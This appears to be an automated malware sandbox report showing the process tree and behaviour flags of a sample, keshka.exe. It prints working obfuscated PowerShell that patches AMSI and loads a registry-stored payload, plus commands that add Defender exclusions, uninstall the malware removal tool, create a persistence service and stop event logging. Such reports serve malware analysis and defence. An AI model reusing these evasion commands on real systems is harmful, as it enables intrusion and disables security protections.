PID 4196 wrote to memory of 4204	4196	keshka.exe	80
PID 4204 wrote to memory of 1856	4204	WUDFHost.exe	81
PID 4204 wrote to memory of 1308	4204	WUDFHost.exe	83
PID 4204 wrote to memory of 5288	4204	WUDFHost.exe	86
PID 4204 wrote to memory of 244	4204	WUDFHost.exe	90
PID 244 wrote to memory of 2396	244	cmd.exe	92
PID 2396 wrote to memory of 1536	2396	f.exe	97
PID 2396 wrote to memory of 1536	2396	f.exe	97
PID 2396 wrote to memory of 1536	2396	f.exe	97
PID 2396 wrote to memory of 1536	2396	f.exe	97
PID 2396 wrote to memory of 1536	2396	f.exe	97
PID 1588 wrote to memory of 3000	1588	cmd.exe	100
PID 4364 wrote to memory of 5216	4364	powershell.EXE	112
PID 4364 wrote to memory of 5216	4364	powershell.EXE	112
PID 4364 wrote to memory of 5216	4364	powershell.EXE	112
PID 4364 wrote to memory of 5216	4364	powershell.EXE	112
PID 4364 wrote to memory of 5216	4364	powershell.EXE	112
PID 5216 wrote to memory of 648	5216	dllhost.exe	5
PID 5216 wrote to memory of 700	5216	dllhost.exe	7
PID 5216 wrote to memory of 908	5216	dllhost.exe	11
PID 5216 wrote to memory of 408	5216	dllhost.exe	13
PID 5216 wrote to memory of 460	5216	dllhost.exe	14
PID 5216 wrote to memory of 1056	5216	dllhost.exe	16
PID 5216 wrote to memory of 1160	5216	dllhost.exe	18
PID 5216 wrote to memory of 1184	5216	dllhost.exe	19
PID 5216 wrote to memory of 1192	5216	dllhost.exe	20
PID 5216 wrote to memory of 1296	5216	dllhost.exe	21
PID 5216 wrote to memory of 1312	5216	dllhost.exe	22
PID 5216 wrote to memory of 1356	5216	dllhost.exe	23
PID 5216 wrote to memory of 1364	5216	dllhost.exe	24
PID 5216 wrote to memory of 1440	5216	dllhost.exe	25
PID 5216 wrote to memory of 1460	5216	dllhost.exe	26
PID 5216 wrote to memory of 1720	5216	dllhost.exe	28
PID 5216 wrote to memory of 1732	5216	dllhost.exe	29
PID 5216 wrote to memory of 1820	5216	dllhost.exe	30
PID 6040 wrote to memory of 3420	6040	rjyzvekkqzsi.exe	114
PID 6040 wrote to memory of 3420	6040	rjyzvekkqzsi.exe	114
PID 6040 wrote to memory of 3420	6040	rjyzvekkqzsi.exe	114
PID 6040 wrote to memory of 3420	6040	rjyzvekkqzsi.exe	114
PID 6040 wrote to memory of 3420	6040	rjyzvekkqzsi.exe	114
PID 6040 wrote to memory of 5392	6040	rjyzvekkqzsi.exe	116
PID 6040 wrote to memory of 5392	6040	rjyzvekkqzsi.exe	116
PID 6040 wrote to memory of 5392	6040	rjyzvekkqzsi.exe	116
PID 6040 wrote to memory of 5392	6040	rjyzvekkqzsi.exe	116
PID 6040 wrote to memory of 5392	6040	rjyzvekkqzsi.exe	116
PID 6040 wrote to memory of 5392	6040	rjyzvekkqzsi.exe	116
PID 6040 wrote to memory of 5392	6040	rjyzvekkqzsi.exe	116
PID 6040 wrote to memory of 5392	6040	rjyzvekkqzsi.exe	116
PID 5216 wrote to memory of 1840	5216	dllhost.exe	31
PID 6040 wrote to memory of 4380	6040	rjyzvekkqzsi.exe	117
PID 6040 wrote to memory of 4380	6040	rjyzvekkqzsi.exe	117
PID 6040 wrote to memory of 4380	6040	rjyzvekkqzsi.exe	117
PID 5216 wrote to memory of 1876	5216	dllhost.exe	32
PID 5216 wrote to memory of 1940	5216	dllhost.exe	33
PID 5216 wrote to memory of 1992	5216	dllhost.exe	34
PID 4384 wrote to memory of 5620	4384	cmd.exe	118
PID 5216 wrote to memory of 1428	5216	dllhost.exe	35
PID 5216 wrote to memory of 1872	5216	dllhost.exe	36
PID 1192 wrote to memory of 3260	1192	svchost.exe	119
PID 5216 wrote to memory of 3260	5216	dllhost.exe	119
PID 5216 wrote to memory of 1968	5216	dllhost.exe	37
PID 5216 wrote to memory of 2108	5216	dllhost.exe	38
PID 5216 wrote to memory of 2212	5216	dllhost.exe	39
PID 5216 wrote to memory of 2372	5216	dllhost.exe	41

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:648
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:460
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{7b6d3e37-c60f-482a-a83b-81c5680aa026}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5216
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{71c9750d-3e86-4105-a1ae-cde85b9d6098}
  2⤵
  PID:6060

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:700

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-ce6f4837-7dfc-4d08-b3c1-21811e15138f -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-61871962-7bc8-4efe-9585-3956960f5f1c -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-63c95809-2bbf-4959-8f83-0eaf4830cb3c -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-3a2a9ab8-51b8-4183-940c-02cd5140ddf6 -LifetimeId:d16bba31-7103-4ee9-8b1b-a202d6a755a9 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:408

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1056

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1184

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1192
- C:\Program Files (x86)\Common Files\wininit.exe
  "C:\Program Files (x86)\Common Files\wininit.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5648
- C:\Program Files (x86)\Windows Media Player\WUDFHost.exe
  "C:\Program Files (x86)\Windows Media Player\WUDFHost.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ZFhUDxpBoAya{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$RLvdJYRLhUYtAE,[Parameter(Position=1)][Type]$JRezjFnyzB)$lyPbzqJjehx=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+'l'+'e'+[Char](99)+''+'t'+'e'+[Char](100)+''+'D'+''+[Char](101)+'le'+[Char](103)+'a'+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+'e'+[Char](109)+''+'o'+''+[Char](114)+'y'+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+'l'+'e',$False).DefineType('My'+[Char](68)+''+[Char](101)+'le'+'g'+'at'+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+'l'+[Char](97)+'s'+[Char](115)+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+'c'+','+[Char](83)+'e'+[Char](97)+''+'l'+''+[Char](101)+'d,'+'A'+''+[Char](110)+''+[Char](115)+'iC'+[Char](108)+'as'+'s'+''+','+''+[Char](65)+''+'u'+''+'t'+''+'o'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+'s'+'',[MulticastDelegate]);$lyPbzqJjehx.DefineConstructor('R'+[Char](84)+'Sp'+[Char](101)+''+[Char](99)+'i'+[Char](97)+'l'+[Char](78)+''+[Char](97)+''+[Char](109)+'e'+','+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+'By'+'S'+'ig'+','+'P'+[Char](117)+''+[Char](98)+'l'+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$RLvdJYRLhUYtAE).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+'m'+'e'+','+[Char](77)+'a'+[Char](110)+'a'+[Char](103)+''+[Char](101)+''+'d'+'');$lyPbzqJjehx.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+''+[Char](111)+'k'+'e'+'','P'+'u'+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'H'+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+''+'y'+'Si'+'g'+''+[Char](44)+''+[Char](78)+'e'+[Char](119)+'S'+[Char](108)+''+[Char](111)+''+'t'+''+','+'Vi'+[Char](114)+'t'+[Char](117)+'a'+[Char](108)+'',$JRezjFnyzB,$RLvdJYRLhUYtAE).SetImplementationFlags('R'+'u'+'n'+'t'+'i'+[Char](109)+''+'e'+''+[Char](44)+''+'M'+''+[Char](97)+'n'+'a'+'g'+'e'+'d');Write-Output $lyPbzqJjehx.CreateType();}$UrJReeUwxFWnL=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+'t'+'e'+'m.'+'d'+''+[Char](108)+'l')}).GetType(''+[Char](77)+''+'i'+''+'c'+''+[Char](114)+''+'o'+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+'.'+''+'W'+''+'i'+''+[Char](110)+''+'3'+''+'2'+'.'+[Char](85)+''+[Char](110)+'s'+[Char](97)+'f'+'e'+'N'+[Char](97)+'t'+[Char](105)+''+[Char](118)+''+[Char](101)+''+[Char](77)+''+'e'+'t'+[Char](104)+'ods');$IsbtCNsLolTvir=$UrJReeUwxFWnL.GetMethod(''+'G'+''+[Char](101)+''+'t'+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+'c'+''+[Char](65)+'d'+[Char](100)+''+[Char](114)+''+'e'+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+'a'+[Char](116)+'i'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$KAuvorvRXjSaDoGHUQE=ZFhUDxpBoAya @([String])([IntPtr]);$GkOtQidPaQQaGsrmUJNAel=ZFhUDxpBoAya @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$VggfdiBolmm=$UrJReeUwxFWnL.GetMethod(''+'G'+''+'e'+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+''+[Char](72)+''+[Char](97)+''+'n'+'dl'+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+'e'+''+'l'+'3'+'2'+''+'.'+'d'+'l'+''+[Char](108)+'')));$KGMKvAWpUipVqI=$IsbtCNsLolTvir.Invoke($Null,@([Object]$VggfdiBolmm,[Object]('L'+[Char](111)+'a'+[Char](100)+'Li'+[Char](98)+''+[Char](114)+'a'+[Char](114)+''+'y'+''+'A'+'')));$kKJOoKLnAAxgkGIZD=$IsbtCNsLolTvir.Invoke($Null,@([Object]$VggfdiBolmm,[Object](''+'V'+''+[Char](105)+''+[Char](114)+'tu'+'a'+'l'+[Char](80)+''+[Char](114)+'o'+[Char](116)+'ec'+'t'+'')));$ljJhpqc=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($KGMKvAWpUipVqI,$KAuvorvRXjSaDoGHUQE).Invoke(''+'a'+'m'+[Char](115)+''+'i'+'.'+[Char](100)+'l'+[Char](108)+'');$YZPfbQFwXBbnSdrkz=$IsbtCNsLolTvir.Invoke($Null,@([Object]$ljJhpqc,[Object]('A'+[Char](109)+'s'+'i'+''+'S'+'ca'+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+'r'+'')));$ZKCqThzAWO=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kKJOoKLnAAxgkGIZD,$GkOtQidPaQQaGsrmUJNAel).Invoke($YZPfbQFwXBbnSdrkz,[uint32]8,4,[ref]$ZKCqThzAWO);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$YZPfbQFwXBbnSdrkz,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kKJOoKLnAAxgkGIZD,$GkOtQidPaQQaGsrmUJNAel).Invoke($YZPfbQFwXBbnSdrkz,[uint32]8,0x20,[ref]$ZKCqThzAWO);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+'F'+'T'+''+[Char](87)+''+'A'+'RE').GetValue(''+[Char](100)+''+[Char](105)+'al'+'e'+''+'r'+''+[Char](115)+''+[Char](116)+'a'+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4364
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:mrzlmCvZjxdA{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$bymGmQinetYfLE,[Parameter(Position=1)][Type]$OQHTvBnTmG)$RTEMeRrlLqw=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'e'+[Char](102)+'l'+'e'+'c'+[Char](116)+''+[Char](101)+''+'d'+''+'D'+''+[Char](101)+'le'+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+'Me'+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+'M'+''+'o'+''+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+'e'+''+[Char](108)+'eg'+[Char](97)+''+'t'+''+[Char](101)+'Typ'+'e'+'',''+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+','+''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+'c'+','+'S'+''+[Char](101)+''+[Char](97)+'l'+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+'i'+''+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+'oC'+'l'+''+'a'+''+'s'+'s',[MulticastDelegate]);$RTEMeRrlLqw.DefineConstructor('R'+[Char](84)+''+'S'+''+[Char](112)+''+'e'+''+[Char](99)+''+[Char](105)+''+'a'+''+'l'+'N'+[Char](97)+'m'+[Char](101)+','+[Char](72)+'i'+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+'S'+'i'+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$bymGmQinetYfLE).SetImplementationFlags(''+[Char](82)+''+'u'+'n'+'t'+''+'i'+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');$RTEMeRrlLqw.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+[Char](111)+'k'+'e'+'','P'+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+',Hi'+[Char](100)+'e'+[Char](66)+'y'+'S'+''+'i'+''+[Char](103)+''+[Char](44)+'N'+[Char](101)+''+'w'+''+'S'+'l'+[Char](111)+''+'t'+','+[Char](86)+''+[Char](105)+''+'r'+''+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$OQHTvBnTmG,$bymGmQinetYfLE).SetImplementationFlags(''+'R'+''+'u'+'ntim'+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+'d');Write-Output $RTEMeRrlLqw.CreateType();}$YfYzHwMAnidqo=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+'t'+''+[Char](101)+'m.'+[Char](100)+''+'l'+''+[Char](108)+'')}).GetType(''+[Char](77)+'icr'+'o'+''+[Char](115)+''+'o'+''+'f'+''+[Char](116)+''+'.'+'W'+[Char](105)+''+'n'+''+[Char](51)+'2'+[Char](46)+'Un'+[Char](115)+''+[Char](97)+''+[Char](102)+'e'+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+'veMe'+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+'s'+'');$hlHRTigjFTPXTv=$YfYzHwMAnidqo.GetMethod('G'+'e'+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+'o'+''+[Char](99)+''+[Char](65)+'d'+[Char](100)+''+[Char](114)+''+[Char](101)+''+[Char](115)+'s',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+'ic,'+[Char](83)+''+[Char](116)+''+'a'+'t'+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$uaNLolQKapKRbWcHDzf=mrzlmCvZjxdA @([String])([IntPtr]);$SczljVDjTooRbOJaJhVkAs=mrzlmCvZjxdA @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$MuvhVfKBTMa=$YfYzHwMAnidqo.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+'o'+''+'d'+''+'u'+'l'+'e'+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+'d'+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+'2'+[Char](46)+'d'+[Char](108)+'l')));$DfpBXSiggSRfOF=$hlHRTigjFTPXTv.Invoke($Null,@([Object]$MuvhVfKBTMa,[Object]('L'+'o'+''+[Char](97)+'dL'+'i'+'b'+'r'+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$MPKoHXqDDDvmEogRc=$hlHRTigjFTPXTv.Invoke($Null,@([Object]$MuvhVfKBTMa,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+'t'+[Char](117)+''+'a'+''+'l'+''+[Char](80)+''+'r'+''+'o'+''+[Char](116)+''+[Char](101)+'c'+'t'+'')));$OtzqQvn=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DfpBXSiggSRfOF,$uaNLolQKapKRbWcHDzf).Invoke(''+[Char](97)+'m'+[Char](115)+''+'i'+''+'.'+'d'+[Char](108)+''+'l'+'');$VlUXqORiAdSIMBBhA=$hlHRTigjFTPXTv.Invoke($Null,@([Object]$OtzqQvn,[Object]('A'+[Char](109)+'s'+[Char](105)+''+[Char](83)+''+[Char](99)+'a'+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+'f'+'e'+[Char](114)+'')));$fIDtyjBrjn=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MPKoHXqDDDvmEogRc,$SczljVDjTooRbOJaJhVkAs).Invoke($VlUXqORiAdSIMBBhA,[uint32]8,4,[ref]$fIDtyjBrjn);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$VlUXqORiAdSIMBBhA,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MPKoHXqDDDvmEogRc,$SczljVDjTooRbOJaJhVkAs).Invoke($VlUXqORiAdSIMBBhA,[uint32]8,0x20,[ref]$fIDtyjBrjn);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue(''+'d'+''+[Char](105)+''+'a'+'le'+[Char](114)+''+[Char](115)+''+[Char](116)+''+[Char](97)+'g'+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3260
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5880
- C:\Program Files (x86)\Common Files\wininit.exe
  "C:\Program Files (x86)\Common Files\wininit.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3372
- C:\Program Files (x86)\Windows Media Player\WUDFHost.exe
  "C:\Program Files (x86)\Windows Media Player\WUDFHost.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3324
- C:\Program Files (x86)\Common Files\wininit.exe
  "C:\Program Files (x86)\Common Files\wininit.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3488
- C:\Program Files (x86)\Windows Media Player\WUDFHost.exe
  "C:\Program Files (x86)\Windows Media Player\WUDFHost.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1440
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2416

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1460

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1720

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1732

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1820

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1840

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1876

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1940

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1428

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1872

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1968

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2108

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2212

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2372

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
- Drops file in System32 directory
PID:2568

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2596

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2680

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2644

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3120
- C:\Users\Admin\AppData\Local\Temp\keshka.exe
  "C:\Users\Admin\AppData\Local\Temp\keshka.exe"
  2⤵
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4196
- - C:\Program Files (x86)\Windows Media Player\WUDFHost.exe
    "C:\Program Files (x86)\Windows Media Player\WUDFHost.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of WriteProcessMemory
    PID:4204
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe
      4⤵
      Badlisted process makes network request
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1856
  - - C:\Program Files\Google\Chrome\Application\WUDFHost.exe
      "C:\Program Files\Google\Chrome\Application\WUDFHost.exe" -
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1308
  - - C:\Program Files (x86)\Microsoft\Edge\Application\WUDFHost.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\WUDFHost.exe" -
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5288
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c "start C:\Users\Admin\AppData\Local\Temp/f.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:244
    - - C:\Users\Admin\AppData\Local\Temp\f.exe
        
        C:\Users\Admin\AppData\Local\Temp/f.exe
        5⤵
        Executes dropped EXE
        Drops file in System32 directory
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2396
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:32
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1588
        
        C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        7⤵
        
        PID:3000
      - C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        6⤵
        
        PID:1536
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "OXBNXCPO"
        6⤵
        Launches sc.exe
        
        PID:4772
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "OXBNXCPO" binpath= "C:\ProgramData\bizecusnoqzx\rjyzvekkqzsi.exe" start= "auto"
        6⤵
        Launches sc.exe
        
        PID:3324
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        6⤵
        Launches sc.exe
        
        PID:5264
